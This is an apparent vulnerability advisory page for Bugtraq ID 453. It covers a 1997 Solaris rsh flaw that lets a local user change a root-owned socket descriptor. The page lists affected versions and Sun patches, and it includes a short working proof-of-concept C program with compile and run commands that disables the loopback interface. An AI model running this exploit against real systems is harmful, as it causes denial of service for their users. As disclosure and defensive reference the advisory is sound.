Solaris rsh socket descriptor Vulnerability

BID:453

Info

Solaris rsh socket descriptor Vulnerability

Bugtraq ID: 453
Class: Access Validation Error
CVE:
Remote: No
Local: Yes
Published: Jun 19 1997 12:00AM
Updated: Jun 19 1997 12:00AM
Credit: First posted to BugTraq by Alan Cox <[email protected]> on June 19, 1997.
Vulnerable: Sun Solaris 2.5.1 _x86
Sun Solaris 2.5.1
Sun Solaris 2.5_x86
Sun Solaris 2.5
Sun Solaris 2.4_x86
Sun Solaris 2.4
Sun Solaris 2.3
Not Vulnerable: Sun Solaris 2.6_x86
Sun Solaris 2.6

Discussion

Solaris rsh socket descriptor Vulnerability

A vulnerability in rsh exists that can allow a regular user to modify a root owned socket descriptor. The consequences of this are a possible denial of service due to interfaces being manipulated by malicious users.

Exploit / POC

Solaris rsh socket descriptor Vulnerability

cc solarisuck.c -o solarisuck -lsocket
rsh localhost ./solarisuck

------------
solarisuck.c
------------
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/sockio.h>
#include <net/if.h>
#include <netinet/in.h>


int main(int argc, char *argv[])
{
struct ifreq please_break_me;

strcpy( please_break_me.ifr_name, "lo0");
please_break_me.ifr_flags=0;

if(ioctl(0, SIOCSIFFLAGS, &please_break_me)==-1)
perror("Damn it didnt work. Obviously not Solaris ;)");
}

Solution / Fix

Solaris rsh socket descriptor Vulnerability

Solution:
Patches are available to all Sun customers at http://sunsolve.sun.com

Disable rsh and any inetd non-root owned tasks or upgrade to Solaris 2.6 (which fixed the problem).


Sun Solaris 2.3
  • Sun 101318-87
    sparc


Sun Solaris 2.4_x86
  • Sun 101946-44
    x86


Sun Solaris 2.5

Sun Solaris 2.4
  • Sun 101945-50
    sparc


Sun Solaris 2.5_x86

Sun Solaris 2.5.1 _x86

Sun Solaris 2.5.1

References

Solaris rsh socket descriptor Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report